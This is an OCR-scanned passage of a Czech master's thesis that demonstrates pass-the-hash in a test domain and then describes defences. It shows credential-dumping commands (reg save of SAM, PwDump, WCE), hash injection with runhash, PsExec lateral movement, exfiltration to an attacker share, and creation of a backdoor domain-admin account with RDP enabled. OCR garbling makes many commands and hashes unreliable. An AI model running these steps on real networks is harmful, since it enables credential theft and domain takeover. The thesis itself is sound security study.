C:\)rughash32.exe ABS : 1900 : IIRPRRBEPERPDARNBRPRIRANERNAYBRORR : 721 7BF72242DYE781C6 244806 F4D648A - - =
cnd . exe

RunhAsh vl.B@ — Copyright (C> 2818 Bjorn Brolin, Truesec C(wuwu.truesec.com)
Username: ABS

Domain: .

Starting process._.. Done?t

Found Lsass pid: 5688

Lzass process open

Searching for matching token secrets...

Found possible primary token

Found real token

Found match

Patching token secrets... Donet

BN Spravce: C\Windows\system32\cmd.exe

C:Nruce.exe
WCE vl .42beta (Windows Credentials Editor> - <{c> 28168-2813 Amplia Security — by Hernan Ochoa

Use —h for help.

A@5 : . : HHERHBEBRRRRANPINHENDEENABEBBOER : 7?1 9BF72242D9E781C6244886F4D648A
Attacker:PC1:EFAZ24F4DBD1A3EA4?44E2DF487A88VE4-2306168C2CC4FD6AVER3847114F58078

Obr. 5.11: Spusténi programu cmd.exe pod uzivatelskym tactem A05
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Jelikoz je prikazova radka spusténa pod uzivatelem A05, je nyni mozné se po-
moci ni pripojit k dalsi stanici v siti obsahujici stejného uzivatele, bez nutnosti
zadavani hesla. K tomu slouzi program PSexec.exe. Jedna se o utilitu zalozenou na
bazi telnetu, ktera umoznuje spusténi jakéhokoliv ptrikazu na vzdaleném opera¢nim

systému.

BN \192.168.1.12: cmd.exe

Cis>PsExec.exe “~192.168.1.12 cmd.exe
PsExec v2.1 — Execute processes remotely

Copyright (C> 2801-2813 Mark Russinowvich
Syzinternals — www.sysinternals.com

MHicrosoft Windows [Verze 6.1.7686]
Copyright <c?» 2089 Microsoft Corporation. UZechna priva vyhrazena.

G:sMWindowsssystem32>ipconfig

Konfigurace protokolu IP systému Windows

Adaptér sitE Ethernet Pi#ipojeni k mistni siti:

Piipona DHS podle piipojeni . . .

Mistni IPv6 adresa v ramci propojeni . . . = feBB::484:d6ab:e567:542x11
Adresa IPv4 . . . . . . . . . . . = 192.168.1.12

Mazka gudsité = = = = = = = = = = = 255 _255_255.09

Ujchozi brdna . . . . . . . - - - = 192.168.1.1

C:sMWindowsssysten32 >whoani
pc2%abdh

Obr. 5.12: Ovéreni ttoku pass the hash na stanici PC2

Prikazem
PSexec.exe \\192.168.1.12 cmd.exe

bude na stanici se zadanou IP adresou spustén cmd.exe, jenz otevre prikazovou
radku daného systému. Timto krokem byl ziskédn pristup ke stanici PC2. Zadanim
prikazu ipconfig bylo ovéreno, ze prikazova radka je spusténa na systému s IP ad-
resou 192.168.1.12. Zobrazeni jména momentalné prihlaseného uzivatele a nazvu
pocitace lze provést spusténim whoami z prikazové radky. Z obr. je patrné, ze
utok pass the hash byl tspésny a byl ziskan pristup k pocitaci PC2 pod uzivatelskym

jménem A05.

5.2.5 Ziskani hashe hesel na PC2

Po ziskani pristupu na dalsi stanici je mozné ovérit, zda-li se nachézi v konkrétni
doméné a jestli na ni existuji néjaké doménové ucty. Ty predstavuji cestu, jak se
utocnik muze dostat az k nejvyssimu doménovému tuctu administarotra a ziskat

pristup ke vsem sluzbam v doméné.
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Jestli je stanice ¢lenem domény, lze ovérit prikazem systeminfo a vyhleddanim
radku s nazvem domény. V pripadé, Ze se stanice nachazi v doméné, je mozné si
nechat zobrazit zaddnim ,net user /domain® veskeré doménové icty nachézejici se

na kompromitované stanici.

CxWindowssSystem3d2>systeminfo

Hiazev hostitele: PC2

Nazeuv operaéniho systému: Microsoft Windows 7 Ultimate
Doména: pthlab.con

Piihlafovaci servep: “~SERUER

CisWindowssSystem32»net uwser Adomain
PoZadavek bude zpracovan na primarnim #adifi domény pthlab.com.

UZivatelské aEty pro ““server.pthlab.com

B&5 Guest

Obr. 5.13: Zobrazeni doménovych ucti

7 obr. je patrné, ze stanice PC2 se nachazi v doméné pthlab.com a obsahuje
jeden doménovy ucet s ndzvem BO05.

Nyni je mozné obdobnym zpisobem ziskat hash uétu B05 a néasledné jej vyuzit
pro ziskani kontroly nad prvnim doménovym tctem.

Spusténim jednotlivych prikazi

reg.exe save HKLM\SYSTEM C:\SYSTEMPC2,
reg.exe save HKLM\SAM C:\SAMPC2

ze skriptu CopySAM se zkopiruje SAM databaze do slozky C: na vzdaleném pocitaci.
Nyni je treba tyto soubory prenést na pocita¢ ttoc¢nika pro bezpecnou extrakci.
K tomu byla vyuzita sdilena slozka Attacker-files, jejiz pripojeni na PC2 se provede

zadanim:

net use x: \\192.168.1.11\Attacker-files /user:Attacker attacker.

Parametr ,x:“ oznacuje pismeno, pod jakym bude slozka namapovana,

,»/user:Attacker attacker® predstavuji uzivatelské jméno a heslo nutné k pristupu
k dané slozce.
Po tspésném namapovani sifové polozky je mozné ziskanou SAM databazi zko-

pirovat pomoci nastroje xcopy se sytaxi:
xcopy <zdrojovy_soubor> <cilovy_adresar>,

kde <zdrojovy_soubor> prestavuje ziskané soubory SAMPC2 a SYSTEMPC?2 a ci-

lovy adresar namapovany sitovy disk, tedy ,,X:“.
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Po tspésném zkopirovani souborti na tutoc¢nikovu stanici je mozné sitovy disk

opét odpojit prikazem:

net use x: /delete.

Nyni byly zkopirované soubory extrahovany obdobné jako v kapitole [5.

stup zapsan do souboru PC2hash.txt:

PwDump7.exe -s C:\Attacker-files\SAMPC2
C:\Attacker-files\SYSTEMPC2 > PC2hash.txt

Ziskané hashe ze stanice PC2 jsou zobrazeny na obr. [5.14]

C:wAttacker—files>type PCZhash_txt

Administrator:580:N0 PASSHWORD :31D6CFEAD16AE? 31 B73C52DVEACAG?CA: = =
Guest:581:NO PASSWORD tNO PASSWORD HHH
BAS:18A8:NO PASSWORD :3026D3BAY58365ADC?Y?BBB6GF235D9 ¢
AB5:18A1 :NO PASSWORD t7919BF72242D9E781C6244886F4D648A = =

Obr. 5.14: Hash uzivatelskych hesel na PC2

5.2.6 Pass the hash na stanici PC3

Nejprve musel byt rfadek v ziskaném textovém souboru s uzivatelskym jménem B05
opét upraven tak, aby mohl byt pouzit programem runhash.exe.

Jelikoz se ovsem jednd o doménovy ucet, je nutné specifikovat potifebnou doménu.
Jeji ndzev byl ttocnikem zjistén v kapitole [5.2.5]

C:\)rushash32.exe pthlab.con“BEB5 : 10606 : IHAEAREARBARRRRAREARAARNABAREERA : 3326D3BA758865ADCY998BB66F235D99 - ¢
cmd . exe

Runhfish vi.B - Copyright {(C)> 2818 Bjorn Brolin. Tr LETTRIN .com>»
Username : BBS

Domain: pthlab.com

Starting process... Done!t

Found Lszass pid: 588

Lsass process open

Searching for matching token secrets...

Found possible primary token

Found real token

Found possible primary token

Found real token

Found possible primary token

Found real token

Found match

Patching token secrets... Done!?

BN Spravee: C\Windows\system32\cmd.exe

C:\Juce.exe
UCE vl.42beta <Windows Credentials Editor) - (c) 2818-2013 Amplia Security

Use —h for help.

BA5:pthlab.com: =3826D3BA758865ADCI998BE66F235D27
Attacker:PC1: EFA24F4DBD1A3EN4?44E2DF489A880AE4:9306168C2CC4FDP6AAEB3849114F58A98

Obr. 5.15: Spusténi programu cmd.exe pod doménovym uzivatelskym tctem B05
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Parametr tedy bude vypadat nasledovné:

pthlab.com\B05:1000:00000000000000000000000000000000 :
3026D3BA758865ADCO998BB66F235D99:: : :

Poté byl jiz spustén samostatny program runhash se stejnymi parametry jako
v kapitole [5.2.4] Ovéfeni probéhlo obdobnym zptsobem, tedy zobrazenim aktivnich
relaci pomoci wee.exe (obr. [5.15)).

Pro spusténi prikazové radky na vzdalené stanici s IP adresou 192.168.1.13 ob-

sahujici stejny doménovy ucet B05, byl opét vyuzit néstroj Psexec.

CisUWindowsszyzstem32 Xipoconf ig

Konfigurace protokolu IP systému Windows
Adaptér =itE Ethernet PFipojeni k mistni siti:

Prlpuna DHS podle pPlpDJEnl - e . =

Mistni IPub adresa v pamci propojeni . . . : FeBA::5c31:4b27:6f44:7Pdc?x11
Adresa IPvd4 . . . . . . . . . . . & 1922.168.1.13
Haska Eud31te - = = = = = = = = « = 255 255 _3255.0
Ugchozi brana . . . -« « =« = = - - = 192.168.1.1
C:sUWindowsssystem32 >uvhoami
pthlab~bAs

Obr. 5.16: Ovéreni utoku pass the hash na stanici PC3

Uspésné provedeni tutoku je zobrazeno na obr. . Po zadani ,whoami® je

patrné, ze utocnik se uspésné prihlasil na doménovy tcet B05 na stanici PC3.

5.2.7 Pristup na server

Jelikoz je znamé, Ze serveru v testovaci doméné byla pfirazena role souborového
serveru, je mozné si nechat zobrazit pripojené sitové disky daného uzivatele.

K tomu slouzi prikaz
net use.

Vystup je uveden na obr. 5.3 Je tedy patrné, Ze uzivatel B05 mé na serveru
slozku se soubory, ke kterym ma pristup pouze on.

Po zobrazeni obsahu slozky je itoc¢nikiv pristup k soubortiim otestovan otevienim
textového souboru v prislusném adresari.

Nyni byl ziskan pristup k privatnim souboriim uzivatele B05 a titoc¢nik si je mtize
zkopirovat obdobnym zptsobem, jak tomu bylo v pripadé kopirovani nové ziskané
SAM databéze.
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C:xWindows~System32*net use

Stav Mistni Uzdalené Sitové

0K £: sweeprversBAS—files Microsoft Windows Metwork
P#ikaz byl dspéEné dokonéen.

C:sWindowss8ystem3d2 >dir Z:5
Ugpis adresaie Z:x

3a.A3.2814 12:39 <DIR> -
3a.@3.2814 12:39 <DIR>

12.94.2014 20:52 61 BOS.txt
Soubori: 1. Bajth: 61
fidresaia: 2.  Uolngych hajtd: 11 283 582 989

C:sUindowssSystemd2>type Z:-BAS . txt
Prave hyl ziszskan prisztup k szouborum uzivatele BAS na serveru.

Obr. 5.17: Zobrazeni souboru uzivatele B05 na serveru

5.2.8 Ziskani hashe hesel na PC3

SAM databéazi ze stanic obsahujicich stejny uzivatelsky ucet jako na jiz kompro-
mitovanych stanicich v siti Ize ziskat také vzdalené. V pripadé, zZe itoc¢nik provede
utok pass the hash a podari se mu tspésné oteviit prikazovou fadku s nové vytvore-
nou uzivatelskou relaci daného uzivatele, mize v ni za vyuziti nastroje pwdump.exe
specifikovat IP adresu vzdalené stanice, ze které probéhne vypis ze SAM databéaze.

Utoénik nebude muset zadévat uzivatelské jméno a heslo, jelikoz pifkazové fadka
je jiz spusténa s potrebnymi opravnénimi uzivatele na vzdaleném pocitaci.

Vypis ze SAM databéze se provede prikazem:
PwDump.exe -s admin$$ 192.168.1.13 > PC3hash.txt

Parametr ,-s admin$“ znaci defaultni sdilenou sitovou polozku, z niz bude pro-
gram spoustén. Vystup byl obdobné jak v predchozich pripadech zapsan do souboru
PC3hash.txt.

Jeho obsah je zobrazen na obr. [5.1§

C:wAttacker—files>type PClhazh.txt

Administrator:580:N0 PASSWORD ﬂBEFD?HB32GFSB3BCFGEF?311F31653G
BA5:18A8:NO0 PASSWORD :3826D3BAY58865ADC?IPEBBO6F235D99 =
Guest:581 :NO PASSUWORD tNO PASSWORD i:

Obr. 5.18: Hash uzivatelskych hesel na PC3

Tento postup ovsem neni vhodny do prostredi, kde je nasazena antivirova ochrana.
Jelikoz program Pwdump.exe byl pri vzdaleném spusténi odhalen témér vSemi testo-

vanymi antivirovymi programy (viz4.5)), je vhodné pro provedeni itoku pouzit opét
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skript pro zalohu vétev registri a nasledné zkopirovanou SAM databéazi extrahovat

jiz na nezabezpecené utoc¢nikové stanici.

5.2.9 Pass the hash na server

Ze ziskaného souboru je patrné, ze stanice PC3 obsahuje kromé uc¢tu B05 také Ad-
ministratorsky ucet, jehoz hodnota NTLM hahse jiz neodpovidé prazdnému heslu,
a je tedy zirejmé, Ze je aktivni.

Nasledné bylo stejnym piikazem jak v [5.2.5] ovéfeno, ze ucet Administrator je
také doménovy. Nyni ma jiz itocnik veskeré potrebné informace k provedeni ttoku
pass the hash a ziskani kontroly nad celou doménou.

Utok pass the hash byl proveden obdobnym zpiisobem jak v kapitole . Pouze
parametr specifikujici uzivatele a jeho hash byl nahrazen udaji o ziskaném admi-
nistratorském uctu. Po ziskani kontroly nad Administratorksym uctem a uspés-
ném vzdaleném pripojeni na server byla ovérena spravnost utoku opét prikazem

,whoami® (viz [5.19).

C:sHindowsssystend2 >whoami
pthlabsvadministrator

C:sUHindowsssystemd2 >ipconfig
Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix

Link-local IPw6 Address . . . fedB::51c2af?1:-2687:735hx7

IPv4 Address. . . . . . . . . . . : 192_168.1.1
Subnet Mask . . . . . . . . . . . : 255_925L_9GL @
Default Gateway . . . . . . . . . a.A.Aa.A

C:xWindowsssystem32>nltest Adclist:-pthlab.com

Get list of DCs in domain ‘pthlab.com® from ‘““server.pthlab.com'.
server.pthlab.com [PDC]1 I[DS]1 Site: Default—-First-Site—MName

Obr. 5.19: Ovéreni utoku pass the hash na server a zobrazeni primarniho doméno-

vého kontroléru

V pripadé, ze se ve firemnim prostiedi nachazi vice doménovych kontrolérii, je
vhodné ovérit, zdali se jedna o kontrolér primarni. V pripadé, ze ne, utocnik mize
podobnym zptisobem pokracovat v postupu pres sif, nez se dostane k zadanému
primarnimu kontroléru.

To bylo provedeno prikazem:

nltest /dclist:pthlab.com
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Ve vystupu je u ndzvu serveru uvedena polozka [PDC] oznacujici primérni do-
ménovy kontrolér (obr. [5.19)). Je tedy patrné, Ze v testovacim prostfedi se nachazi
pouze jeden doménovy kontrolér, ktery zaroven slouzi jako primérni.

5.2.10 Plny pristup na server

Jelikoz moznosti kontroly nad serverem pouze z prikazové radky jsou dosti omezené,
pripadné slozité, je vhodné aby si tto¢nik umoznil pristup pres grafické rozhrani,
tedy vzdélenou plochu. Ve vétsiné pripadii je tohle zptlisob, jak je k servertim pri-
stupovano.

Pro ziskani pristupu pres vzdalenou plochu je nejprve nutné, aby si ttocnik
vytvoril svij vlastni uzivatelsky ucet. Protoze ma jiz opravnéni doménového admi-

nistratora, ucet je vytvoren prikazem

net user <jméno> <heslo> /add

C:s>net user Attacker

User name Attacker

Paszword last set 4-13-2814 12:28:59 PH

Paszword expires L.25-2014 12:28:57 PH

Password changeahle 41420014 12:28:52? PH

Password reguired Yes

User may change password Yes

Workstations allowed All

Logon hours allowed All

Local Group Memberships *ldmninistrators *Remote Desktop Users
Global Group memberships *Domain Users *Domain Admins

Obr. 5.20: Pridani urivatele Attacker do potrebnych skupin

A4

V testovacim prostiedi byl pridan uzivatelsky ucet Attacker, kterému bylo pridé-
leno heslo ,,Att@cker123*“. Jelikoz nové vytvorenému ic¢tu chybi potfebnd opravnéni,
je nutné jej pridat do prislusnych skupin, aby tutoc¢nik po prihlaseni ziskal plny ad-
ministratorksy pristup. Jedna se o skupiny:

e Local administrators - k ziskani prav pro lokalni spravu serveru.

net localgroup administrators PTHLAB\Attacker /add
e Domain administrators - k ziskani prav pro spravu celé domény.

net group "‘Domain Admins"’ Attacker /add /DOMAIN

o Remote desktop users - k povoleni pristupu pres vzdalenou plochu.
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net localgroup "Remote Desktop Users" Attacker /add

V pripadé, ze k serveru neni z bezpecnostni diivodii povolen pristup pres vzdale-
nou plochu, je mozné tpravou hodnot v registrech tento pristup povolit. Nastavenim
proménné ,fDenyTSConnections“ na hodnotu 0 se povoli jakykoliv vzdaleny pristup

na konkrétni stanici. Proménné se nachézi v uzlu:
HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server.

Pro tpravu potiebné hodnoty v registrech ptres prikazovou radku byl spustén

prikaz:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Terminal Server" /v fDenyTSConnections /t REG_DWORD /d O /f.

Nyni je jiz utocnikav tcet plné nakonfigurovan a je mozné se na server pripojit

pres vzdalenou plochu.
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Obr. 5.21: Pristup pfes vzdalenou plochu

V tomto bodé byl jiz ziskan plny ptistup ke vsem funkcim serveru a utoc¢nik
tedy prevzal kontrolu nad celou doménou vé. vSech stanic v ni obsazenych. Jelikoz
ma pridélena prava doménového administratora, mize dale oznacovat dalsi domény
za duavéryhodné a postupovat v utoku do dalSich domén obsazenych ve stromové

strukture.
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5.3 Zabezpeceni

Zabezpeceni testovaci sité proti itoku pass the hash bylo rozdéleno do tii skupin:
o znemoznéni ziskani administratorskych prav,
« zamezeni spusténi skodlivého souboru,

« omezeni uzivatelskych ucta a pristupu.

5.3.1 Znemoznéni ziskani administratorskych prav

Pro tspésné provedeni utoku pass the hash jsou zapotiebi administratorska prava.

Jelikoz neni mozné, aby na vsech stanicich v siti nebyly povoleny ani jednomu
uzivateli administratorska prava, je vhodné povolit UAC — User Account Control.
Jak jiz bylo zminéno dfive, uéty bézi s danymi opravnénimi ale jestlize je detekovano
spusténi programu, ktery tato prava vyzaduje a muze provadét zmény v pocitaci, je
uzivatel vyzvan, aby se jako administrator autentizoval.

Sluzba UAC byla povolena na vsSech stanicich v testovaci siti.

B/ Rizeni ufivatelskych Géti @
@ Chcete nasledujicimu programu od neznamého
" wydavatele povolit provedeni zmén v tomto pocitadi?

Mazev programu:  runhash32.exe
Ovéfeny vydavatel: MNezndmy
Pivod souborw: Pevny disk v tomto poditadi

Cheete-li pokracovat, zadejte heslo spravee a kliknéte na tladitko Ano.

V Zobrazit podrobnosti [ Ano ] ’ Ne

Obr. 5.22: Vyzva k autentizaci pti spusténi programu runhash.exe

5.3.2 Zamezeni spusténi Skodlivého souboru

Nyni se jiz predpokladéa, ze utocnik ziskal pristup ke zvolené stanici v siti. Na veskeré

stanice byla nainstalovana nejnovéjsi verze antivirové ochrany AVG Antivirus. Jak
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jiz bylo dokazano v kapitole antivirova ochrana je schopna detekovat vétsinu

nastroju potrebnych pro uskutec¢néni tatoku.

avast! 5tit souborového systému zablokowval dtok,
Zadna daldi akce neni nutna.

Objekt: C\Users\A05\Desktopl..\PwDump.exe

Infekce: Win32:Malware-gen
Akce:  PFesunut do truhly
Proces: C:\Windows\Explorer.EXE

Hrozba byla detekovana a zablokovana pfi vytvofeni
nebo zméné souboru.

Mahlasit soubor jako falefny poplach

19:30

C5 L |mz W b
A 0 oS 01

Obr. 5.23: Detekce nastroje Pwdump antivirovym programem

Jelikoz jsou pro spusténi ttoku potrebna alespon lokalni administratorska prava,
utocnik je jiz musel drive ziskat. Z toho divodu tato ochrana neposkytuje potiebny
stupen bezpecnosti, protoze s danymi pravy je mozné ji jednoduse deaktivovat.
Druhy problém tkvi v pouziti nastroji, které jsou jiz integrovany do systému Win-
dows, a nebudou tedy nikdy detekovany jako skodlivé, pripadné néstroji, jez obsa-
huji kéd, ktery antivirovy program neni schopny detekovat.

Ochrana by méla také spocivat v pravidelném zasilani logti antiviru na server
a jejich kontrole pro nezadouci akce. Na nasledujicim obrazku je patrné, ze byl

detekovan pokus o spusténi nastroje Pwdump.

5.2014 19:12:37 Processing file C:'\Users'\A05"\Desktop'pwdump? \Pwoump?. exe. . .
5.2014 19:12:37 --> Finished [0] [processing took 0O ms].
5.2014 19:12:37 Processing file C:UsershA05\Desktoppwdump?libeay32.d11...
5.2014 19:12:37 --= Finished [0] [processing took 0O ms].

Obr. 5.24: Zaznam z logu antivirového programu
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5.4 Omezeni uzivatelskych uctt a pristupu

Zamezeni ttoku po tuspésném ziskani administratorskych prav je jiz témér nemozné.
V tom pripadé je nutné dbat na omezeni mnozstvi uzivatelskych uctl s administra-
torskymi pravy a jejich pristup ke stanicim v siti. V praxi to znamena, ze stejné
uzivatelksé ucty by nemély existovat na vicero stanicich. Timto je ttoc¢nikovi zame-
zen postup siti, jelikoz nemuze ziskat pristup k dalsim potifebnym hashtim hesel.

Testovaci sif byla upravena néasledovné:

e Spravci domény byl omezen pristup pouze na doménové kontroléry.

o Na kazdé stanici byly vytvoreny jedinecné uzivatelské ucty.

o VSechny ucty maji opravnéni pouze standartniho uzivatele.

Upravena testovaci sit vypada nasledovneé:

PC1 PC2 PC3
\\ A\
e >N\ i} A
TS
cos
y
Windows server
S
0

NS

DOMAIN

ADMINISTRATOR
LAN: WMNET?2 Doména: pthlab.com

Obr. 5.25: Uravend navrzend sit

Nésledné byl na vSechny pocitace v siti (kromé serveru) zakazan vzdéaleny pristup
pres sit. Nastaveni bylo provedeno v konzoli ,,Mistni zasady zabezpeceni“, kde byla
editovana politika pro vzdaleny pristup, ze které byly odebrany veskeré uzivatelské
skupiny.

Toto nastaveni zapftic¢ini, ze utocnik nebude moci vyuzit néstroje PSexec pro

vzdaleny pristup s podvrzenymi prihlasovacimi udaji. Je ovsem také dbéat na to, ze



po vytazeni vzdaleného pristupu budou ovlivnény vSechny sitové sluzby, které na
dané stanici bézi (napf. sdileni soubort). Tohle nastaveni je tedy treba provadét

velmi obezfetné a se znalosti fungovani celé sité.

C:s>PsExec.exe ~\192.168.1.12 cmd.exe

PsExec v2.1 — Execute processes remotely
Copyright (C) 2881-2813 Mark Russinovich
Sysinternals — www.sysinternals.com

Gouldn’t access 192.168.1.12: )
P?ihlaliovacy® chyba: Uxivateli nebyl v tomto poR¥taRi wdglen posxadovani typ p®ihl
Blieny.

Obr. 5.26: Zamezeni vzdaleného pristupu na stanici PC2 pres PSexec

Na serveru toto nastaveni neni mozné, jelikoz jeho cilem je zprostredkovat si-
tové sluzby. Je tedy zapotiebi nastavit vhodnou pristupovou politiku. Pristup pres
vzdalenou plochu byl povolen pouze skupiné doménovych administratort, ve které
se v ukazkovém pripadé nachazi pouze uzivatel Domain Administrator. Ostatni uzi-
vatelé byli prifazeni do skupiny, které byl zakazan pristup pres vzdalenou plochu,
ovsem ponechdna moznost pripojit se za vyuzitim poskytovanych sluzeb.

Toho bylo dosazeno vytvorenim skupiny File access, do které byli pridani uzi-
vatelé B05 a C05. Za vyuziti funkce ,Delegation of Control“ bylo nastaveno, ze
kazdému ¢lenu dané skupiny budou pfidélena prava pouze na pristup ke sdilenym
souborim na serveru.

Dale byla na serveru také vytvorena politika uctu tak, ze je doménové heslo
platné pouze po urcity ¢as (30 dni). Poté je uzivatel vyzvan k jeho zméné.

Jako posledni bod zabezpeceni existuje také moznost provadét autentizaci uziva-
tele pouze pres protokol Kerberos. Po prirazeni serveru do role doménového tadice je
v puvodnim stavu vzdy pouzivan protokol Kerberos, ovSem je povolena autentizace
i ptes NTLM. Pro zruseni NTLM autentizace byly upraveny nésledujici polozky
v editoru lokalni pristupové politiky.

Toto Teseni neni ovsem nejvhodnéjsi, v siti mohou existovat sluzby nebo stranky,
které vyzaduji ovéreni pouze pres protokol NTLM, a jeho zakazanim dojde k ode-
preni pristupu. Vhodnéjsi feseni je povolit audit pro veskery NTLM provoz a v pri-
padé podezreni na utok je mozné z porizenych zaznamu vycist pottebné tidaje o pro-
béhlé autentizaci i to, jaky protokol byl pouzit.

7 demonstrace utoku je patrné, ze nejvétsi diraz by mél byt kladen pravé na
tuto ¢ast zabezpeceni, tedy na spravny navrh firemni infrastruktury. Jestlize atoc¢nik
ziskal fyzicky pristup ke stanici ptripojené do sité, predchozi bezpecnosti aspekty je
témeér vzdy mozné jistym zplisobem obejit.

Jedinym zpusobem, jak realné ovlivnit dopad ttoku, je omezeni pouziti uzivatel-

skych ¢t a hlavné bezpecnost vysoce privilegizovanych doménovych uctia. Ty by
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Tab. 5.3: Omezeni protokolu NTLM

Politika

Ucel

nastaveni

NTLM:
Ptichozi prenosy protokolu

NTLM

Omezit protokol

Umoznuje povolit nebo ode-
prit veskery sitovy NTLM

provoz

Odeprit vsechny uéty

NTLM:
Odchozi prenosy protokolu
NTLM do vzdalenych ser-

veru

Omezit protokol

Umoznuje povolit nebo ode-
prit NTLM provoz sméro-
vany ke vzdalenému auten-

tizacnimu serveru

Odeprit vse

NTLM:

protokolem

Omezit protokol
Ovérovani
NTLM v této doméné

Umoznuje povolit nebo ode-
prit ovérovani protokolem
NTLM v ramci domény z

konkrétniho fadice domény

Odeprit vsechny ucty

Omezit protokol NTLM: | Umoznuje povolit nebo za- Zakazat
Auditovat ovérovani proto- | kdzat provéreni a zazname-
kolem NTLM v této doméné | nani procesu autentizace na
daném doménovém rtadici
Omezit protokol NTLM: | moznuje povolit nebo za- Zakazat

Auditovat prichozi prenosy
protokolu NTLM

kazat provéreni a zazname-
nani prichoziho NTLM pro-

vozu

se nemély vyskytovat nikde jinde nez pouze na samotném serveru. Vhodnym rese-

nim je také omezeni vzdaleného pristupu na stanice, které neposkytuji zadné sitové

sluzby.
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6 ZAVER

vvvvvv

nocestnost a snaha o bezkoliznost. Diky tomu umoznuji v souc¢asné dobé jednoduché,
ale zaroven relativné uc¢inné sifrovani hesel. Toho je hojné vyuzivano témér na vsech
operacnich systémech.

Cilem této diplomové prace bylo seznamit se s ttokem ,pass the hash“ a na-
sledné jej demonstrovat. Jedna se o itok, ktery umoznuje tto¢nikovi zneuziti hashe
prihlasovacich 1udaji a vyuziti chyb v navrhu autentizac¢nich protokolil za icelem
ziskani pristupu k vysoce privilegizovanym uctim.

Teoreticka c¢ast je zaméfena na popis mechanizmu autentizace u soucasnych verzi
operac¢nich systémt Microsof Windows. Zabyva se jejich principem, zptisobem tvorby
pottebnych hashi, jejich ukladanim a upozornuje na jejich nedokonalosti. Druha ¢ast
byla zamétena jiz na samostatny utok. Byly zde popsédny postupy umoznujici ziskéani
hash tdaju z riznych zabezpecenych mist systému a jejich nasledné zneuziti.

Prakticka cast se zabyvala testovanim a analyzou volné dostupnych nastroji,
které utok umoznuji provést. Bylo zjisténo, ze vétsina néstroji je jiz zastarala a jsou
omezeny pouze na konkrétni kopie systémi Windows. Kviili neopravnénému zasahu
do chodu operac¢niho systému byla také vétSina programi odhalena antivirovym
programem.

Po dikladné analyze byly zvoleny programy, jichz je mozné pouzit pro utok
v navrzeném realném prosttedi. Ty byly vybrany na zakladé nizké miry detekce
antivirovymi programy, univerzalnosti a moznosti jejich nastaveni. K ziskani hashe
byl pouzit vlastni skript, ktery pracuje pouze s nastroji integrovanymi do Windows.

Néasledné bylo navrzeno experimentéalni prostiedni, na kterém byl itok demon-
strovan za pouziti vyse zvolenych nastrojit. Utok se sklddal ze ziskédni administrator-
ského pristupu na jakoukoliv stanici, vytvoreni potfebného c¢tu a postupu pres sit
az k ziskani kontroly nad doménovym radicem. Touto demonstraci bylo dokazano,
ze i po velmi dlouhé dobé, co je utok pass the hash znamy, muze predstavovat velmi
vyraznou hrozbu v soucasnych firemnich infrastrukturach.

Posledni kapitola se zabyvala nastavenim, které je tfeba provést, aby dopady
utoku bylo mozné minimalizovat.

7, moznosti zabezpeceni proti utoku pass the hash plyne, Ze jedinou ochranou je
bud zména v pouziti autentiza¢niho protokolu, nebo spravného navrhu sité, ktery by
utoc¢nikovi znemoznil postup pres sit a ziskavani dalsich potfebnych idaji za icelem
ziskani pristupu k doménovému radici. Jelikoz ovSem veskeré kroky nejsou v real-
ném firemnim prostfedi mozné, je vhodné vsechny podezrelé udalosti zaznamenavat

a dbat i na bezpecnost fyzického pristupu ke stanicim.
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SEZNAM SYMBOLU, VELICIN A ZKRATEK

MD5  Message-Digest 5

SHA  Secure Hash Algorithm

LM Lan Manager

DES  Data Encryption Standard

KDC  Key Distribution Center — Distribu¢ni centrum kli¢t
TGT  Ticket-Granting Ticket

TGS  Ticket-Granting Service

SSO  Single-Sign On

SAM  the Security Account Manager
LSASS Local Security Authority Subsystem
LSA  Local Security Authority

SMB  Server Message Block

IPS Intrusion Prevention System

UAC  User Account Control

WCE  Windows Credential Editor

FQDN Fully Qualified Domain Name
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A.1 Testované a pouzité nastroje

o Fgdump v2.1.0

o Gsecdump v0.7

e Msvctl 0.3

o Pshtoolkit v1.4

e Pwdump v6, Pwdump v7
e Runhash

« WCE v1.42

« script CopySAM.bat

« PSTools
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